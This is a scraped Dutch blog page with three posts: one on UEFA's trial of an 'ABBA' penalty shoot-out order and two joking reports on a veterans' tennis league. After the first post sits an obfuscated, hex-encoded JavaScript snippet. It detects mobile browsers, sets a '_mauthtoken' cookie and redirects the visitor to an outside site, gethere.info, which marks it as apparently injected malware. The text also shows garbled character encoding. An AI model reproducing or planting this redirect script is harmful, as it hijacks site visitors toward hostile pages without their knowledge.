Het ABBA-model

Dit is zo’n inleiding die je achteraf intikt. Omdat je je stukkie al zo goed als af had toen je besefte dat je er toch wel iets heel moois was gebeurd om over te schrijven. Over de hA�A�rlijke voorwedstrijd van Monaco – Juventus dieA�de Ajax-pupillen tegen Olympique Lyon speelden. En deze keer gebruikA�ik ‘pupillen’ in de positieve zin des woords omdat er werd gedarteld, gejaagd en getoverd naar hartenlust. In alle andere situaties had ik me kapot geA�rgerd aan het egoA?sme en gebrek aan zakelijkheidA�bij het verprutsen van de lawine aan kansen, maar het onvoorstelbaar enerverende schouwspel vergoedde alles. Toch trakteer ik jullie op ABBA vandaag, al is het maar omdat het aantal lofredes over deze galavoorstelling de hoeveelheid kansen van gisteravond verre zal overtreffen.

Het ABBA-model dus. Nee, wees niet bang dan welA�hoopvol, want dit heeft niks te maken met Waterloo of The Dancing Queen. Maar zoudenA�we ditA�model toepassen op deA�Zweedse acroniemenformatie uit de jaren jaren ’70,A�beginjaren ’80, dan draaide het wat mij betreft uit op het BAAB-model. BjA�rn, Agnetha, Anni-Frid, Benny. De twee niet te versmaden dames naast en naA�elkaar in het midden en die twee B-figuren aan de buitenkant. Maar we dwalen af. Het ABBA-model is een nieuw ei dat is gelegd door de UEFA, misschien wel uitgebroed door ‘onze’ vleesgeworden spelregelvernieuwer San Marco. Het behelst een aanpassing van de beslissende strafschoppenserie. En hierbij is de tiebreak in het tennis leidend geweest. Niet meer om en om, maar team A begint met 1 strafschop. Daarna team B 2x , team A 2x, team B 2x, team A 2x, team B 1x. Dus eigenlijk geen ABBA-, maar het ABBAABBAAB-model. Wie A zegt… Maar dat werdA�waarschijnlijk zelfs de UEFA toch te gortig.

De proeftuinen zijnA�het EK Onder-17 voor jongens en meisjes, die respectievelijk woensdag en dinsdag van start zijn gegaan in KroatiA�. De bedoeling hiervan is dat het rechtvaardiger, eerlijker uitpakt. Want, er is vastgesteld door de IFAB – de instantie die over de spelregels gaat – dat in de meeste gevallen (60%) de ploeg die het eerst mag aanleggen, ook de strafschoppenserie wint. Dat is dus in 40% van de gevallen andersom. Of dA?t nou een statistiek is die een dergelijke ingrijpende aanpassing legitimeert… Maar alla, wij van Voetblah zijn niet vies van een beetje voetbalinnovatie en sowieso is het weer eens ’n keer iets anders, pleegtA�mijn vrouw te zeggen als ze me weer eens een of ander dubieus exotisch gerecht voorschotelt. En het zal de eeuwige discussie over het trainbare en mentale aspect van de strafschop alleen maar bestendigenA�en verhevigen.

Want de serieA�krijgt aldus een geheel andere dynamiek en dimensie. De tennisdynamiek zogezegd. En wie ooit een balletje heeft geslagen, zal weten – of in elk geval uitentreuren hebben gehoord – dat tennis een mentaal spelletje is. Alsof niet elk spelletje (ik noem maar darten of curling) dat is. Maar toch:A�als de eerste penalty wordt gemist, ligtA�een 0-3 achterstand in het verschiet. Dat klinkt al redelijk onoverbrugbaar. Maar tegelijkertijd zal de druk bij 2B sterk toenemen als 1B heeft gemist en 1A heeft gescoord. Mogelijk een 0-3 achterstand met ook nog eens 2x A aan de beurt, dus een gerede kans op 0-5. Zijn jullieA�er nog? Nog even dan, maar dan vanaf de doellijn. Ook voor de keeper treedt een andere dynamiek in werking. Hij heeft niet alleen de kans om zich meteen te herstellen van een doorlating, maar kan ook een dubbelslag maken. Zeker wanneer hij de eerste van de serie heeft gepakt, zal dat ‘m mentaal sterken om de tweede ook te stoppen. Kortom, volop voer voor psychologen en voetbaldialogen. En dus daarom alleen al een verwachtingsvol experiment.

– de afbeelding komt van spreekverbod.nl

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

VAN HEST WEDEROM BETER DAN DE REST

Opnieuw heeft Little John van Hest de rest, maar ook zichzelf, versteld doen staan en de Cup met de Grote Oren in de wacht gesleept. Was het vorig jaar nog kantje boord en dus vrijwel tot het laatst toe spannend, dit jaar was Sjonnies overmacht onverwacht groot. Met gemiddeld ruim een half punt voorsprong op de al bijna eeuwige numero twee, ietwat roestig IJzeren Rinus, zwaargewicht en vlag en wimpel onder de vaantjes. Toegerust met veel meer gevarieerde slagkracht dan wie dan ook, echter kennelijk niet voldoende uitgerust om dit optimaal te verzilveren. Het zoveelste bewijs ervan dat in de topsport (wedstrijd)mentaliteit minstens zo belangrijk is dan talent.

Liefst 10x wist John de partij voortijdig winnend af te sluiten, daarmee steeds de (bijna) maximale score binnenhalend. Het is deze kwaliteit – het optimaal benutten van de kansen – die hem tot tweevoudig cupwinnaar heeft gemaakt. Plus een gedegen vooronderzoek van het schema, een vlijmscherpe sterkte/zwakte-analyse van zowel tegen- als medestander en een vrijwel maximale opkomst. Hij was zelfs zo sluw om tegelijkertijd met zijn grootste concurrent te verzuimen door gewoonweg samen met  ‘m op vakantie te gaan.

En de rest? Verloor (zich) steevast in ofwel doorgeslagen tactische analyses, dan wel oeverloos gezeur over het schema, hetzij in gemopper  op/over de maat. Zoals het (erbij) hoort. Want dat maakt deze competitie zo mooi. Het uitgelezen gezelschap, de bonte verzameling dikke vijftigers, een verdwaalde veertiger, plus een paar ‘kwieke’ zestigers. Aangevuld door wankelmoedige reserves die regelmatig moesten worden aangeboord. Mannen op of over de helft van hun leven, maar die dus ook nog zowat de helft tegoed hebben. Nee, we gaan dit keer niet eenieder voor het voetlicht halen. Al verdient ieder op zich een eervolle vermelding. Bij dezen dan.

Maar zonder de anderen tekort te willen doen, pikken we er toch enkele matadoren tussenuit. Zeg maar diegenen die, bij gebrek aan tastbaar resultaat, zich op andere wijze meenden te moeten manifesteren. Of die juist in hun hang naar resultaat werkelijk alle middelen aangrepen om dit te bewerkstelligen. De grootste stunt komt in dit kader op naam van de enige linkmichel in ons vaste midden: onze postmoderne gleuvengluurder d’n Dielis, die het recht aan zijn kant meende te hebben in zijn poging de opponenten tegen de muur te zetten. Met als treurig resultaat een ex aequo onderste plaats  met ondergetekende, als we de vaak schitterend afwezigen Peer en Jan even niet meetellen.

En wat te denken van de revelatie van de eerste seizoenshelft, de nagenau-Herbstmeister Rob van Helden?! Hij kon het zelf nauwelijks geloven en wij nog minder. Toch had Rob opeens volop praatjes, groeide en gloeide als nooit tevoren. Dat ie de tweede helft weer meer zijn vertrouwde niveau benaderde, dus ook verbaal weer minder aanwezig was, mocht de pret van weleer niet drukken.

Natuurlijk mag in dit opzicht de opmerkelijkste Vaan niet ontbreken. Onze meest consequente, hardnekkige, voorspelbare, dus betrouwbaarste collega: altijd te laat; nooit tevreden, zoals het de ware sportman betaamt;  neemt iedereen de maat, waarbij ie zichzelf consequent overslaat; altijd dezelfde broek; altijd het laatst uit de kleedkamer; nooit verlegen om positieve feedback aan de tegenstander. Kortom, zonder Rupke de Vaan is er geen zak aan.

En last but not least, the little cross-forehand-beast. Onze pensionado in spe, de man die als ie niet zo klein was geweest, een hele grote was geworden. Of beter gezegd: een nóg grotere was geworden. De mooiste naam uit ons tenniscircuit, Carel Carli. Na een aarzelende start, het naderend pensioen in zicht, gestaag opwaarts in de vliegende vaart der volkeren. Met een opmerkelijke eindejaarsoprisping, getuige de serie van 12-10-14, waardoor mijn lotgenoot in spe zelfs ruim boven me is geëindigd.

Redenen te over om het komend seizoen anders te gaan aanpakken, maar ik vermoed dat meerderen dit van plan zijn. Zeker Rinus Vaan, die nu al snode plannen smeedt om Little John van de trilogie af te houden.
Al met al was het weer een gedenkwaardige competitie, waarin Rinus – en dank daarvoor! – ons keurig voorzag van een altijd weer bedenkelijk schema, een regelmatige update van de stand én, niet te versmaden, van een goed georganiseerde en hoogst culinaire slotdag. En voor dat laatste zeggen wij ook speciaal dank aan the one and only Fons en Marijke van Tuijl. Tot in september!

Read Full Post »

EERST VAN HEST EN DAN DE REST

Vooraleer we de draad van de balans mijner afloopbaan in de gezondheidszorg weer oppakken, moet ik nog een belofte gestand doen. Ik heb namelijk de eer om deel uit te maken van een selecte groep tennissers die al jaren tussen september en april mekaar het leven zuur maakt op de dinsdagavond. Het niveau is niet om over naar huis – maar toch ook wel weer om op deze plek neer – te schrijven. Voor de goede orde: wij bestrijden mekaar in dubbels aan de hand van een onnavolgbaar en altijd voor/ter discussie vatbaar/staand schema. Een schema dat de jongste jaren met bewonderenswaardige durf én accuratesse wordt gemaakt door het minst windgevoelige en meest slagvaardige Vaantje. Met recht de Vaandeldrager dus. ‘Jongste jaren’ staat niet model voor de doorsnee-leeftijd van ons, doorgaans stroeve strijders. Uw scribent behoort met een enkele lotgenoot wel tot de nestorcategorie, maar vermoedelijk schommelt de gemiddelde leeftijd rond de 50. Het gros der matadoren kunnen we scharen onder de speelsterkte 7, de vermeende vedetten scoren weleens een zesje. We spelen uiteraard om de punten en om te winnen, want sporten met tegenstanders zonder winstbejag is als muziek zonder geluid of als Jut zonder Jul: geen zak aan dus! En natuurlijk wordt ook hier uiteindelijk de balans opgemaakt en komen er een winnaar en een heleboel verliezers te voorschijn. Aangezien ik de winnaar van de laatste editie heb beloofd om zijn glorie tekstueel luister bij te zetten, volgt hieronder dus een bloeiende bloemlezing van de titanentennistrijd die op het scherp van de snedigheid werd uitgevochten. En dus – en vanzelfsprekend  – heel wat gespreksstof deed opwaaien.

 

Kijk ‘m daar toch eens staan, onze Johnny! Hij oogt nog steeds wat onwennig, alsof hij het zelf nog altijd niet kan en mag geloven. Iemand die zó trofeetrots poseert met de Cup met de nóg grotere oren, die kun je toch niet weigeren om eer te betonen, wel? En hij heeft ‘m verdiend! Al is het maar omdat ie ook maar niet één keer verstek heeft laten gaan en dus nooit ofte nimmer de 5 punten die je krijgt als je verhinderd bent, zomaar in zijn zak heeft gestoken…. Bovendien heeft niemand zich zó goed voorbereid op en ingeleefd in het speelschema, zijn dubbelspelpartner en niet te vergeten de tegenstanders. Als de ware topsporter heeft ie werkelijk niets aan het toeval overgelaten.

Is Johnny dan ook onze meest begaafde, veelzijdige tennisser? Nee dus. Johnny is de vleesgeworden retourneerder; de koning van de ralley en de regelmaat. Dat gevoegd bij zijn gedisciplineerde huiswerkvlijt en anticipatievermogen, maakt hem tot een terechte winnaar. En dus tot de mannetjesputter die zijn naaste, meer begiftigde en vooral op het anatomische af analyserende belagers als vlooien van zich heeft afgeschud. Die dus niet de druk van het favoriet, maar wel van het koploper zijn heeft gevoeld en weerstaan. Johnny was FC Twente. Harrie, Rinus en consorten waren PSV en Ajax, Feyenoord, AZ en vul verder maar in. In een rechtstreekse dubbel tegen directe concurrent en tacticus didacticus Harrie de Twidde liet Johnny geen spaan heel van zijn slechts allerlei opties (m)opperende opponent.

Zo was de spanning eigenlijk al weggeëbd in de eindfase van de competitie, maar Little John voelde zich nog geenszins zeker. Het schema stond gebeiteld op zijn harde schijf en hij wist precies welke kinken er nog konden weerklinken in de kabel. Nou niet bepaald de zelfverzekerdheid van een kampioen uitstralend, wikte en woog hij alle kanten van het racket en (aan) het net. En ach, het siert hem toch ook weer als mens dat hij, ondanks stoerijdele pogingen het tegendeel te bewijzen, het zelf nauwelijks kon geloven. En slechts zoetjesaan zeker van zijn zaak werd toen het, door ons verslagenen bolwangig opgeblazen rookgordijn was opgetrokken.

Torenhoge, of beter gezegd hemelsbrede favoriet Rinus beleefde dus een soort van afGhanastan, in die zin dat hij zich geheel vrijwillig daar naartoe liet uitzenden. En wat hem dus nogal wat vijfjes opleverde. Harrie d’n Twidde hebben we als teveel tactiek dus reeds eerder ten tonele gevoerd en jawel, we hebben ook een Harrie d’n Urste. Ook al is deze dan ‘slechts’ een van de urste reserves. Waar alle Turken Ali heten en alle Marokkanen B., daar lijken alle analytici Harrie te heten. Dan hebben we in de lagere regionen –  in het ene gevalletje letterlijk – nog twee Carels. Waarbij het dus inderdaad meestal niet vandaag was. Wel smaakte onze nestor Carel  het genoegen – en dat was geheel wederzijds – om aan mijne zijde zijn enige volle buit binnen te halen.

De subtop werd gevormd door Huub die nooit nie hot leek, maar dat vaak wel degelijk was. Broertje Theet, die telkens aan zijn eeuwige tennislessen aanknoopte en daarbij aantooonde dat lessen toch beter is voor de dorst dan voor de honger naar succes. D’n Dieles speelde een cruciale rol in de eindafwikkeling waarin hij zijn hoge postering niet geheel kon waarmaken. Dan die twee andere Vaantjes. Zoals gezegd wind- en omgevingsgevoeliger dan broer Rinus. Niet dat ze onder dezelfde vlag te scharen zijn, dat weer niet. In elk geval is Röbke een betere tegen- dan medestander. De ander is geheel willoos aan het net, maar staat aan de baseline wel degelijk zijn mannetje.

De nogal afwezige en dus niet erg puntige participanten Jan en Adje hadden een meer verbale dan verbluffende inbreng. En laagmiddenmoter Rob was het springlevende bewijs van het door Herman van Veens gezongen (Getuigen zijn zelden) Helden. Rinus senior boorde al zijn  reserves aan om toch de nodige potjes te kunnen spelen.
En deze jongen zelf dan? Och, het zal altijd de vraag blijven hoe hoog ik wel niet was geëindigd indien ik niet zoveel noodgedwongen vijfjes had verzameld. Nu ik van de werkbeslommeringen ben bevrijd, wordt wellicht mijn verhinderingsgehalte geminimaliseerd en kan ik in elk geval op dat gebied de concurrentie met Little John aangaan. IJs, gezondheid en weder dienende uiteraard.

Maar het ging en begon om de winnaar en daar eindigen we dan ook mee. Werp nog een laatste blik op de foto, want die is waarschijnlijk enig in zijn soort. De messen worden reeds geslepen, de analyses nagenoeg anaal uitgediept en meest en vooral: het speelschema en de puntentelling krijgen een nóg groter eerlijkheids- en objectiviteitskarakter. Denkt menigeen. Nou, vergeet het maar! Welke ingreep of welk systeem ook, het zal immer voor en ter discussie vatbaar zijn en staan.  En zo hoort het ook! We moeten na afloop wà te bakkesen hebben. Zeker over de winnaar, die hoe dan ook een seizoen lang naar iedereen een lange neus kan trekken. En dat is John van Hest!  De rest is history.

Ps. De exacte eindstand kan ik – helaas?  – niet publiceren, want ben ik inmiddels kwijtgeraakt. Maar wie weet voelt iemand zich nog geroepen om deze in een reactie mee te sturen. Houdoe!

Read Full Post »